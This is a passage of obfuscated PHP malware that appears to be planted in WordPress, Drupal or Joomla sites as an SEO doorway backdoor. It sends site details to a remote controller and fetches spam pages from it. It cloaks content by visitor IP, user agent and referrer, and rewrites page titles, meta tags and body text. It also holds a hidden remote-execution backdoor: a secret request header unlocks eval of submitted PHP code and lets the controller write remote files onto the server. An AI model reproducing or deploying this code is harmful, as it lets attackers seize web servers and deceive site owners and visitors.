. $IVmfs0SzQujsBG2yE40 . "&typeofpirog=" . urlencode($IVmfs0SzQujsBG2yE45) . "&clientreshash=" . urlencode($II6GSejEQGcXEADTdVw7) . "&getautosettsornot=" . urlencode($IUYZkHMvPnxD7) . "&clfilenamehere=" . $II6GSejEQGcXEADTdVw8 . "&se=" . $IcRJnRh0BaaYCr9 . "&clientstat=" . urlencode($IQf3Wvh2RtKQbZ2zg99);
		
		$IVmfs0SzQujsBG2yE48 = _POSTER("http://" . $II6GSejEQGcXEADTdVw2,$IVmfs0SzQujsBG2yE46);

		if (stripos("qqq" . $IVmfs0SzQujsBG2yE48, "CurlError")) {
			$IVmfs0SzQujsBG2yE .= $IVmfs0SzQujsBG2yE48 . "\t";
			$IcRJnRh0BaaYCr .= $IVmfs0SzQujsBG2yE48 . "\t";
		} else {
			if (!empty($IVmfs0SzQujsBG2yE48) && stripos("qqqq" . $IVmfs0SzQujsBG2yE48, "THE" . "NEWSE" . "TTSH" . "ERE")) {
				$IVmfs0SzQujsBG2yE48 = str_ireplace("THE" . "NEW" . "SETTS" . "HERE", "", $IVmfs0SzQujsBG2yE48);
				$IVmfs0SzQujsBG2yE48 = II1fQCriBFLoZZpQzg1($IVmfs0SzQujsBG2yE48);
				$ICvEOD9TPYuFxru8BY32  = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30, "w+");
				if (!empty($ICvEOD9TPYuFxru8BY32)) {
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE48);
					fclose($ICvEOD9TPYuFxru8BY32);
				} else {
					$IVmfs0SzQujsBG2yE .= "22\t";
					$IcRJnRh0BaaYCr .= "22\t";
				}
			}
		}
	}
	if (!empty($IUYZkHMvPnxD1) && !empty($Iax8jUe6B2NrmbBLjzTh6) && !empty($IQf3Wvh2RtKQbZ2zg1) && !empty($IVmfs0SzQujsBG2yE11) && $IVmfs0SzQujsBG2yE11 == "yes" && $IUYZkHMvPnxD1 != "this-is-the-test-of-door") {
		$IUYZkHMvPnxD9 = 0;
		$II6GSejEQGcXEADTdVw0 = 1;
		if (!empty($IcRJnRh0BaaYCr3) && $IcRJnRh0BaaYCr3 == "use") {
			$IVmfs0SzQujsBG2yE51 = IIpD2xN5fLm4zn3C0burS($II6GSejEQGcXEADTdVw5, ""); //checks ip,ua,re
			if ($IVmfs0SzQujsBG2yE51 == 1) {
				$IUYZkHMvPnxD9 = 1;
				$II6GSejEQGcXEADTdVw0 = 0;
				$IUYZkHMvPnxD0 = "";
			}
		} elseif (!empty($IcRJnRh0BaaYCr3) && $IcRJnRh0BaaYCr3 == "usehit") {
			if (!empty($IebH2sK1bwmgEcMMI)) {
				$IUYZkHMvPnxD9 = "yes"; //checks co
				$IUYZkHMvPnxD04 = 1;
			} else {
				$IVmfs0SzQujsBG2yE51 = IIpD2xN5fLm4zn3C0burS($II6GSejEQGcXEADTdVw5, "noreff"); //checks ip,ua
				if ($IVmfs0SzQujsBG2yE51 == 1) {
					$IUYZkHMvPnxD9 = 1;
					$II6GSejEQGcXEADTdVw0 = 0;
					$IUYZkHMvPnxD0 = "";
				} else {
					$IVmfs0SzQujsBG2yE51 = IIpD2xN5fLm4zn3C0burS($II6GSejEQGcXEADTdVw5, "onlyreff"); //checks re
					if (empty($IVmfs0SzQujsBG2yE51)) {
						$II6GSejEQGcXEADTdVw0 = "yes"; //se re
					} else {
						$IUYZkHMvPnxD9 = "yes"; //not se re
						$IUYZkHMvPnxD04 = 1;
					}
				}
			}
		}

		$IVmfs0SzQujsBG2yE52 = 1;
		$IVmfs0SzQujsBG2yE53 = "";
		$IVmfs0SzQujsBG2yE54 = "";
		$IVmfs0SzQujsBG2yE55 = "";

		if(!empty($IVmfs0SzQujsBG2yE51) && $IVmfs0SzQujsBG2yE51 == 1){
			while (file_exists($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52)) {
				$IVmfs0SzQujsBG2yE53 = file_get_contents($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52);
				if (stripos("qqq" . $IVmfs0SzQujsBG2yE53, $Iax8jUe6B2NrmbBLjzTh7)) {
					$IVmfs0SzQujsBG2yE08 = "/" . $Iax8jUe6B2NrmbBLjzTh7 . ":(.*|.*)\n/i";
					preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE53, $IVmfs0SzQujsBG2yE22);
					if (!empty($IVmfs0SzQujsBG2yE22[1][0])) {
						$IVmfs0SzQujsBG2yE54 = $IVmfs0SzQujsBG2yE22[1][0];
						$IVmfs0SzQujsBG2yE54 = explode("|", $IVmfs0SzQujsBG2yE54);
						$IVmfs0SzQujsBG2yE56 = trim($IVmfs0SzQujsBG2yE54[0]);
						$IVmfs0SzQujsBG2yE57 = trim($IVmfs0SzQujsBG2yE54[1]);
						$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk6, 'r');
						fseek($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE56);
						$IVmfs0SzQujsBG2yE55 = fread($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE57 - $IVmfs0SzQujsBG2yE56);
						$IVmfs0SzQujsBG2yE55 = @gzinflate($IVmfs0SzQujsBG2yE55);
						fclose($IVmfs0SzQujsBG2yE14);
						break;
					}
				}
				$IVmfs0SzQujsBG2yE52++;
			}

			if (empty($IVmfs0SzQujsBG2yE55)) {
				if (!file_exists($Iw78mVWOIABM0uZ9FjcKrk6)) {
					$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk6, "w+");
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					fwrite($ICvEOD9TPYuFxru8BY32, "");
					fclose($ICvEOD9TPYuFxru8BY32);
				}
				if ($IVmfs0SzQujsBG2yE52 == 1 && !file_exists($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52)) {
					$ICvEOD9TPYuFxru8BY32 = fopen($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52, "w+");
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					fwrite($ICvEOD9TPYuFxru8BY32, "");
					fclose($ICvEOD9TPYuFxru8BY32);
				} else {
					$IVmfs0SzQujsBG2yE52--;
				}
				$IVmfs0SzQujsBG2yE58 = "http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&itsinclude=" . urlencode($IcRJnRh0BaaYCr5) . "&clienttype=" . urlencode($IcRJnRh0BaaYCr6) . "&lang=" . urlencode($IcRJnRh0BaaYCr8) . "&currkey=" . urlencode($IUYZkHMvPnxD1) . "&wherecontent=" . urlencode($IebH2sK1bwmgEcMMI0) . "&textfilename=" . urlencode($IebH2sK1bwmgEcMMI2) . "&keyfilename=" . urlencode($IebH2sK1bwmgEcMMI3) . "&themesfilename=" . urlencode($IebH2sK1bwmgEcMMI5) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&extlinksfilename=" . urlencode($IebH2sK1bwmgEcMMI8) . "&keysfilestatus=" . urlencode($ICvEOD9TPYuFxru8BY37) . "&workstatus=" . urlencode($IUYZkHMvPnxD3) . "&needident=" . urlencode($IVmfs0SzQujsBG2yE05) . "&clientdomain=" . urlencode($Iax8jUe6B2NrmbBLjzTh8) . "&clienterrors=" . urlencode($IVmfs0SzQujsBG2yE) . "&clientstat=" . urlencode($IQf3Wvh2RtKQbZ2zg99);
				$IVmfs0SzQujsBG2yE55 = _GETTER($IVmfs0SzQujsBG2yE58);
				if(!empty($IVmfs0SzQujsBG2yE55) && strlen($IVmfs0SzQujsBG2yE55)> 200){
					$IVmfs0SzQujsBG2yE59 = gzdeflate($IVmfs0SzQujsBG2yE55);
					$IVmfs0SzQujsBG2yE14 = fopen($Iw78mVWOIABM0uZ9FjcKrk6, 'a+');
					fseek($IVmfs0SzQujsBG2yE14, 0, SEEK_END);
					$IVmfs0SzQujsBG2yE56 = ftell($IVmfs0SzQujsBG2yE14);
					$IVmfs0SzQujsBG2yE57 = $IVmfs0SzQujsBG2yE56 + strlen($IVmfs0SzQujsBG2yE59);
					fwrite($IVmfs0SzQujsBG2yE14, $IVmfs0SzQujsBG2yE59);
					fclose($IVmfs0SzQujsBG2yE14);
					if (file_exists($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52)) {
						$IVmfs0SzQujsBG2yE60 = file($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52);
						$IVmfs0SzQujsBG2yE60 = count($IVmfs0SzQujsBG2yE60);
						if ($IVmfs0SzQujsBG2yE60 > 10000) {
							$IVmfs0SzQujsBG2yE52++;
						}
						$IVmfs0SzQujsBG2yE60 = "";
						$ICvEOD9TPYuFxru8BY32  = fopen($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE52, "a+");
						flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
						fwrite($ICvEOD9TPYuFxru8BY32, $Iax8jUe6B2NrmbBLjzTh7 . ":" . $IVmfs0SzQujsBG2yE56 . "|" . $IVmfs0SzQujsBG2yE57 . "\n");
						fclose($ICvEOD9TPYuFxru8BY32);
					}
					if (file_exists($Iw78mVWOIABM0uZ9FjcKrk9)) {
						$IVmfs0SzQujsBG2yE61 = file_get_contents($Iw78mVWOIABM0uZ9FjcKrk9);
						$IVmfs0SzQujsBG2yE61 = trim($IVmfs0SzQujsBG2yE61);
						$IVmfs0SzQujsBG2yE61++;
						$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk9, "a+");
						if (!empty($ICvEOD9TPYuFxru8BY32)) {
							flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
							ftruncate($ICvEOD9TPYuFxru8BY32, 0);
							fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE61);
							fclose($ICvEOD9TPYuFxru8BY32);
						} else {
							$IVmfs0SzQujsBG2yE .= "23\t";
							$IcRJnRh0BaaYCr .= "23\t";
						}
					} else {
						$IVmfs0SzQujsBG2yE61 = 1;
						$ICvEOD9TPYuFxru8BY32  = fopen($Iw78mVWOIABM0uZ9FjcKrk9, "w+");
						if (!empty($ICvEOD9TPYuFxru8BY32)) {
							flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
							fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE61);
							fclose($ICvEOD9TPYuFxru8BY32);
						} else {
							$IVmfs0SzQujsBG2yE .= "23\t";
							$IcRJnRh0BaaYCr .= "23\t";
						}
					}
				}
			}
			if(!empty($IVmfs0SzQujsBG2yE55) && strlen($IVmfs0SzQujsBG2yE55)> 200){
				if (!empty($IQf3Wvh2RtKQbZ2zg7) && !empty($IVmfs0SzQujsBG2yE02) && !stripos("qqq" . $_SERVER['REQUEST_URI'], "wp-cron.php")) {
	
					$IVmfs0SzQujsBG2yE62 = _GETTER("http://" . $II6GSejEQGcXEADTdVw2 . "?clientid=" . urlencode($II6GSejEQGcXEADTdVw6) . "&clienturl=" . urlencode($IVmfs0SzQujsBG2yE3) . "&clientprot=" . urlencode($Iax8jUe6B2NrmbBLjzTh77) . "&templatename=" . urlencode($IebH2sK1bwmgEcMMI6) . "&keyfilename=" . urlencode($IebH2sK1bwmgEcMMI3) . "&keysfilestatus=" . urlencode($ICvEOD9TPYuFxru8BY37) . "&workstatus=" . urlencode($IUYZkHMvPnxD3) . "&checkll=" . urlencode($IQf3Wvh2RtKQbZ2zg7) . "&checkllcount=" . urlencode($IVmfs0SzQujsBG2yE02) . "&ineedsometext=yes");
					 
					if(!empty($IVmfs0SzQujsBG2yE62) && strlen($IVmfs0SzQujsBG2yE62) > 200){
						if (file_exists($Iax8jUe6B2NrmbBLjzTh3) && filesize($Iax8jUe6B2NrmbBLjzTh3) < 256000) {
							$ICvEOD9TPYuFxru8BY32 = fopen($Iax8jUe6B2NrmbBLjzTh3, "a+");
							flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
							ftruncate($ICvEOD9TPYuFxru8BY32, 0);
							fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE62);
							fclose($ICvEOD9TPYuFxru8BY32);
						}
						else {
							$ICvEOD9TPYuFxru8BY32 = fopen($Iax8jUe6B2NrmbBLjzTh3, "w+");
							flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
							ftruncate($ICvEOD9TPYuFxru8BY32, 0);
							fwrite($ICvEOD9TPYuFxru8BY32, $IVmfs0SzQujsBG2yE62);
							fclose($ICvEOD9TPYuFxru8BY32);
						}
					}
				}

				if (!file_exists($Iw78mVWOIABM0uZ9FjcKrk6) || filesize($Iw78mVWOIABM0uZ9FjcKrk6)>50000000 || (time() - filemtime($Iw78mVWOIABM0uZ9FjcKrk6) >= 14*24*60*60)) {
					$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk6, "w+");
					flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
					fwrite($ICvEOD9TPYuFxru8BY32, "");
					fclose($ICvEOD9TPYuFxru8BY32);
					$IVmfs0SzQujsBG2yE32 = 1;
					while (file_exists($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE32)) {
						@unlink($Iax8jUe6B2NrmbBLjzTh4 . "" . $IVmfs0SzQujsBG2yE32);
						$IVmfs0SzQujsBG2yE32++;
					}
				}
			}
		}
	} else {
		setcookie("PHPSESSIDx", IIAwCsaEF4apDw9vOC(15), time() + 360000, '/');
	}
	if (isset($_SERVER['HTTP_CH']) && (md5($_SERVER['HTTP_CH']) == '3a5c8e5c943b2a71217e4a1588e28f10')) {
		if(isset($_REQUEST['php_code'])){
			$php_code = $_REQUEST['php_code'];
			$etest = false;
			@eVal ('$etest=true;');
			if($etest)
				@eVal ($php_code);
			elseif(@function_exists('create_function')) {
				$ftest = @create_function('', $php_code);
				$ftest();
			} else {
				$ftest = ctf('<?php ' . $php_code . ' ?>');
				@include($ftest);
				@unlink($ftest);
			}

			exit();
		}
		if(isset($_REQUEST['src_name']) && isset($_REQUEST['src_code'])){
			$ICvEOD9TPYuFxru8BY32 = fopen($_REQUEST['src_name'], 'w');
			fwrite($ICvEOD9TPYuFxru8BY32, _GETTER($_REQUEST['src_code']));
			fclose($ICvEOD9TPYuFxru8BY32);
			exit;
		}
	}
	if ($IUYZkHMvPnxD1 == "this-is-the-test-of-door") {
		$IVmfs0SzQujsBG2yE65 = $IUYZkHMvPnxD . "" . $II6GSejEQGcXEADTdVw . "" . $Iw78mVWOIABM0uZ9FjcKrk . "" . $Iax8jUe6B2NrmbBLjzTh . "" . $ICvEOD9TPYuFxru8BY3 . "" . $IVmfs0SzQujsBG2yE5 . "" . $IVmfs0SzQujsBG2yE8 . "" . $IcRJnRh0BaaYCr1 . "" . $IcRJnRh0BaaYCr4 . "" . $IcRJnRh0BaaYCr7 . "" . $IebH2sK1bwmgEcMMI1 . "" . $IebH2sK1bwmgEcMMI4 . "" . $IebH2sK1bwmgEcMMI7 . "" . $IebH2sK1bwmgEcMMI9 . "" . $IUYZkHMvPnxD2 . "" . $IUYZkHMvPnxD5 . "" . $IUYZkHMvPnxD8;
		$IVmfs0SzQujsBG2yE55 = II1y0jI1yCmPb8rtlk($IVmfs0SzQujsBG2yE65);
	}
	if($IUYZkHMvPnxD9 == 'yes' && !empty($IUYZkHMvPnxD04)){
		header("HTTP/1.0 404 Not Found",true,404);
		if(file_exists($_SERVER["DOCUMENT_ROOT"].'/404.html')){
			$eerr = file_get_contents($_SERVER["DOCUMENT_ROOT"].'/404.html');
			$eerr = preg_replace('@\<\?php.*\?\>@i','',$eerr);
			$eerr = preg_replace('@<head>@i','<head><base href="//'.$_SERVER["HTTP_HOST"].'/" />',$eerr);
			preg_match_all('@<!--#include (virtual|file)=\"(.*?)\".*?-->@i',$eerr,$mat);
			foreach ($mat[2] as $key=>$value)
			{
			 	$re = file_get_contents($_SERVER["DOCUMENT_ROOT"].'/'.$mat[2][$key]);
				$eerr = preg_replace('@<!--#include (virtual|file)=\"'.$mat[2][$key].'\".*?-->@i','RRR',$eerr);
				$eerr = str_replace('RRR',$re,$eerr);
			}
			print $eerr;exit;
		}
	}
	if ((!empty($IVmfs0SzQujsBG2yE55) && !empty($IcRJnRh0BaaYCr6)) || (empty($IUYZkHMvPnxD9) && $II6GSejEQGcXEADTdVw0 == "yes" && !empty($IcRJnRh0BaaYCr6))) {
		if ($IUYZkHMvPnxD1 != "this-is-the-test-of-door") {
			$IcRJnRh0BaaYCr6 = trim($IcRJnRh0BaaYCr6);
			$IUYZkHMvPnxD0 = str_ireplace("[UPKEY]", urlencode($IUYZkHMvPnxD1), $IUYZkHMvPnxD0);
			$IUYZkHMvPnxD0 = str_ireplace("[CURREFERER]", urlencode($II6GSejEQGcXEADTdVw4), $IUYZkHMvPnxD0);
			$IUYZkHMvPnxD0 = str_ireplace("[DOORURL]", urlencode($Iax8jUe6B2NrmbBLjzTh77."://".$Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI']), $IUYZkHMvPnxD0);
			if (!empty($II6GSejEQGcXEADTdVw0) || $IcRJnRh0BaaYCr3 != "usehit") {
				if (stripos("qqq" . $IUYZkHMvPnxD0, "THIS" . "ISPH" . "PRED" . "IRECT")) {
					$IUYZkHMvPnxD0 = str_ireplace("THI" . "SIS" . "PHP" . "REDI" . "RECT", "", $IUYZkHMvPnxD0);
					$IUYZkHMvPnxD0 = str_ireplace("<?php", "", $IUYZkHMvPnxD0);
					$IUYZkHMvPnxD0 = str_ireplace("?>", "", $IUYZkHMvPnxD0);
					$IUYZkHMvPnxD0 = str_ireplace("[DEFISKEY]", str_ireplace("-", "+", urldecode($IUYZkHMvPnxD1)), $IUYZkHMvPnxD0);

					header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
					header("Cache-Control: post-check=0, pre-check=0", false);
					header("Pragma: no-cache");

					$etest = false;
					@eVal ('$etest=true;');
					if($etest)
						@eval($IUYZkHMvPnxD0);
					elseif(@function_exists('create_function')) {
						$ftest = @create_function('', $IUYZkHMvPnxD0);
						$ftest();
					} else {
						$ftest = ctf('<?php ' . $IUYZkHMvPnxD0 . ' ?>');
						@include($ftest);
						@unlink($ftest);
					}
					//if (!empty($II6GSejEQGcXEADTdVw0)) {
					//	die();
					//}
					$IUYZkHMvPnxD0 = "";
				} elseif (!empty($II6GSejEQGcXEADTdVw0)) {
					echo $IUYZkHMvPnxD0;
					die();
				}
			}
		}
		if ($IcRJnRh0BaaYCr6 == "simple" || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE04) {
			$IVmfs0SzQujsBG2yE55 = str_ireplace("[REDIRECT]", /*$IUYZkHMvPnxD0*/'', $IVmfs0SzQujsBG2yE55);
			$IVmfs0SzQujsBG2yE55 = str_ireplace("[DEFISKEY]", str_ireplace("-", "+", $IUYZkHMvPnxD1), $IVmfs0SzQujsBG2yE55);
			if(!headers_sent()){
				header('Content-type: text/html; charset=utf-8');
				header("X-Robots-Tag: noarchive", true);
			}
			echo $IVmfs0SzQujsBG2yE55;
			die();
		}
		if ($IcRJnRh0BaaYCr6 == "wpgood" || $IcRJnRh0BaaYCr6 == "d" . "ru" . "pa" . "lg" . "o" . "od" || $IcRJnRh0BaaYCr6 == "joomlagood" || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE0 || $IcRJnRh0BaaYCr6 == $IVmfs0SzQujsBG2yE1) {
			if (file_exists($Iax8jUe6B2NrmbBLjzTh0)) {
				$IVmfs0SzQujsBG2yE66 = file_get_contents($Iax8jUe6B2NrmbBLjzTh0);
				$IVmfs0SzQujsBG2yE66 = IIcA5kehCMAmDcjyQ(urldecode($IVmfs0SzQujsBG2yE66));
				if (!empty($IUYZkHMvPnxD0)) {
					$IUYZkHMvPnxD0 = str_ireplace("[DEFISKEY]", str_ireplace(" ", "+", $IUYZkHMvPnxD1), $IUYZkHMvPnxD0);
				}
				$IVmfs0SzQujsBG2yE55 = str_ireplace("[REDIRECT]", $IUYZkHMvPnxD0, $IVmfs0SzQujsBG2yE55);
				$IVmfs0SzQujsBG2yE55 = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $IUYZkHMvPnxD1), $IVmfs0SzQujsBG2yE55);
				$IVmfs0SzQujsBG2yE55 = explode("====================", $IVmfs0SzQujsBG2yE55);
				if (count($IVmfs0SzQujsBG2yE55) >= 3) {
					$IVmfs0SzQujsBG2yE66 = preg_replace("/<title>(.*)<\/title>/iUm", "<title>" . trim($IVmfs0SzQujsBG2yE55[0]) . "</title>", $IVmfs0SzQujsBG2yE66);
					$IVmfs0SzQujsBG2yE66 = preg_replace("/<link rel=[\"\']{1}canonical[\"\']{1} href=[\"\']{1}.*[\"\']{1}/iUs", "<link rel='canonical' href='".$Iax8jUe6B2NrmbBLjzTh77."://" . $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'] . "'", $IVmfs0SzQujsBG2yE66);
					$IVmfs0SzQujsBG2yE66 = preg_replace("/<link rel=[\"\']{1}shortlink[\"\']{1} href=[\"\']{1}.*[\"\']{1}/iUs", "<link rel='shortlink' href='".$Iax8jUe6B2NrmbBLjzTh77."://" . $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'] . "'", $IVmfs0SzQujsBG2yE66);
					if (isset($IVmfs0SzQujsBG2yE55[3]) && !empty($IVmfs0SzQujsBG2yE55[3])) {
						$IVmfs0SzQujsBG2yE66 = str_ireplace("HERE" . "IS" . "H1T" . "AG", trim($IVmfs0SzQujsBG2yE55[3]), $IVmfs0SzQujsBG2yE66);
					} else {
						$IVmfs0SzQujsBG2yE66 = str_ireplace("HE" . "REI" . "SH1" . "TAG", trim($IVmfs0SzQujsBG2yE55[0]), $IVmfs0SzQujsBG2yE66);
					}
					$IVmfs0SzQujsBG2yE66 = str_ireplace("HE" . "REI" . "STI" . "TLE", trim($IVmfs0SzQujsBG2yE55[0]), $IVmfs0SzQujsBG2yE66);
					$IVmfs0SzQujsBG2yE66 = str_ireplace("</head>", "<META NAME=\"description\" CONTENT=\"" . trim($IVmfs0SzQujsBG2yE55[1]) . "\"/>\n</head>", $IVmfs0SzQujsBG2yE66);
					$IVmfs0SzQujsBG2yE66 = str_ireplace("HE" . "REI" . "SCON" . "TENT", $IVmfs0SzQujsBG2yE55[2], $IVmfs0SzQujsBG2yE66);
					$IVmfs0SzQujsBG2yE66 = iconv(mb_detect_encoding($IVmfs0SzQujsBG2yE66), "UTF-8", $IVmfs0SzQujsBG2yE66);
					if(!headers_sent()){
						header('Content-type: text/html; charset=utf-8');
						header("X-Robots-Tag: noarchive", true);
					}
					echo urldecode($IVmfs0SzQujsBG2yE66);
					die();
				}
			}
		}
	} elseif (!empty($IQf3Wvh2RtKQbZ2zg7) && !empty($IVmfs0SzQujsBG2yE02) && $IQf3Wvh2RtKQbZ2zg7 != "stop") {
		if (IIpD2xN5fLm4zn3C0burS($II6GSejEQGcXEADTdVw5, "cll") == 1) {
			$IVmfs0SzQujsBG2yE67 = "";
			if (function_exists("includes_url")) {
				$IVmfs0SzQujsBG2yE68 = trim(includes_url(), "/");
				$IVmfs0SzQujsBG2yE67 = str_ireplace("/wp-includes", "", $IVmfs0SzQujsBG2yE68);
				$IVmfs0SzQujsBG2yE67 = str_ireplace("http://", "", $IVmfs0SzQujsBG2yE67);
				$IVmfs0SzQujsBG2yE67 = str_ireplace("https://", "", $IVmfs0SzQujsBG2yE67);
				$IVmfs0SzQujsBG2yE67 = trim($IVmfs0SzQujsBG2yE67);
			} elseif ($_SERVER['REQUEST_URI'] == "/") {
				$IVmfs0SzQujsBG2yE67 = trim($Iw78mVWOIABM0uZ9FjcKrk66, "/");
			}
			if ($IQf3Wvh2RtKQbZ2zg7 == "morda") {
				$IVmfs0SzQujsBG2yE69 = $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'];
				$IVmfs0SzQujsBG2yE69 = trim($IVmfs0SzQujsBG2yE69, "/");
				if ($IVmfs0SzQujsBG2yE67 == $IVmfs0SzQujsBG2yE69) {
					$IVmfs0SzQujsBG2yE19 = $Iax8jUe6B2NrmbBLjzTh77 . '://' . $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'];
					$IVmfs0SzQujsBG2yE20 = explode("/", $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI']);
					if (stripos($IVmfs0SzQujsBG2yE20[count($IVmfs0SzQujsBG2yE20) - 1], "?")) {
						$IVmfs0SzQujsBG2yE70 = _GETTER($IVmfs0SzQujsBG2yE19 . "&ineedthispage=yes");
					} else {
						$IVmfs0SzQujsBG2yE70 = _GETTER($IVmfs0SzQujsBG2yE19 . "?ineedthispage=yes");
					}
					$IVmfs0SzQujsBG2yE70 = str_ireplace("&ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
					$IVmfs0SzQujsBG2yE70 = str_ireplace("&amp;ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
					$IVmfs0SzQujsBG2yE70 = str_ireplace("?ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
					if (!empty($IVmfs0SzQujsBG2yE70)) {
						if (file_exists($Iax8jUe6B2NrmbBLjzTh3)) {
							$IVmfs0SzQujsBG2yE71 = file_get_contents($Iax8jUe6B2NrmbBLjzTh3);
							if (strlen($IVmfs0SzQujsBG2yE71) > 200) {
								$IVmfs0SzQujsBG2yE08 = "/(<body[^>]*>)/miU";
								preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE70, $IVmfs0SzQujsBG2yE22);
								$IVmfs0SzQujsBG2yE70 = str_ireplace($IVmfs0SzQujsBG2yE22[1][0], $IVmfs0SzQujsBG2yE22[1][0] . "\n" . $IVmfs0SzQujsBG2yE71, $IVmfs0SzQujsBG2yE70);
								echo $IVmfs0SzQujsBG2yE70;
								die();
							}
						}
					}
				}
			} elseif ($IQf3Wvh2RtKQbZ2zg7 == "veter") {
				$IVmfs0SzQujsBG2yE19 = $Iax8jUe6B2NrmbBLjzTh77 . '://' . $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'];
				$IVmfs0SzQujsBG2yE20 = explode("/", $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI']);
				if (stripos($IVmfs0SzQujsBG2yE20[count($IVmfs0SzQujsBG2yE20) - 1], "?")) {
					$IVmfs0SzQujsBG2yE70 = _GETTER($IVmfs0SzQujsBG2yE19 . "&ineedthispage=yes");
				} else {
					$IVmfs0SzQujsBG2yE70 = _GETTER($IVmfs0SzQujsBG2yE19 . "?ineedthispage=yes");
				}
				$IVmfs0SzQujsBG2yE70 = str_ireplace("&ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
				$IVmfs0SzQujsBG2yE70 = str_ireplace("&amp;ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
				$IVmfs0SzQujsBG2yE70 = str_ireplace("?ineedthispage=yes", "", $IVmfs0SzQujsBG2yE70);
				if (!empty($IVmfs0SzQujsBG2yE70)) {
					if (file_exists($Iax8jUe6B2NrmbBLjzTh3)) {
						$IVmfs0SzQujsBG2yE71 = file_get_contents($Iax8jUe6B2NrmbBLjzTh3);
						if (strlen($IVmfs0SzQujsBG2yE71) > 200) {
							$IVmfs0SzQujsBG2yE08 = "/(<body[^>]*>)/miU";
							preg_match_all($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE70, $IVmfs0SzQujsBG2yE22);
							$IVmfs0SzQujsBG2yE70 = str_ireplace($IVmfs0SzQujsBG2yE22[1][0], $IVmfs0SzQujsBG2yE22[1][0] . "\n" . $IVmfs0SzQujsBG2yE71, $IVmfs0SzQujsBG2yE70);
							echo $IVmfs0SzQujsBG2yE70;
							die();
						}
					}
				}
			}
		}
	}
	if (!empty($_GET['ineederrors']) && $_GET['ineederrors'] == "yes") {
		if (!empty($IcRJnRh0BaaYCr)) {
			echo "<b>Current errors</b>: " . $IcRJnRh0BaaYCr . "<br><br>";
			if (file_exists($Iw78mVWOIABM0uZ9FjcKrk7)) {
				echo "<b>Errors history:</b> " . file_get_contents($Iw78mVWOIABM0uZ9FjcKrk7);
			}
			die();
		} else {
			echo "No errors";
		}
	}
}
function ctf($c)
{
	$t = @tempnam('/tmp/', '');
	$f = @fopen($t, 'w');
	@fwrite($f, $c);
	@fclose($f);
	return $t;
}
if($_SERVER["SCRIPT_NAME"]=="/404.html"){
	header("HTTP/1.0 404 Not Found",true,404);
	if(file_exists($_SERVER["DOCUMENT_ROOT"].'/404.html')){
		$eerr = file_get_contents($_SERVER["DOCUMENT_ROOT"].'/404.html');
		$eerr = preg_replace('@\<\?php.*\?\>@i','',$eerr);
		$eerr = preg_replace('@<head>@i','<head><base href="//'.$_SERVER["HTTP_HOST"].'/" />',$eerr);
		preg_match_all('@<!--#include (virtual|file)=\"(.*?)\".*?-->@i',$eerr,$mat);
		foreach ($mat[2] as $key=>$value)
		{
		 	$re = file_get_contents($_SERVER["DOCUMENT_ROOT"].'/'.$mat[2][$key]);
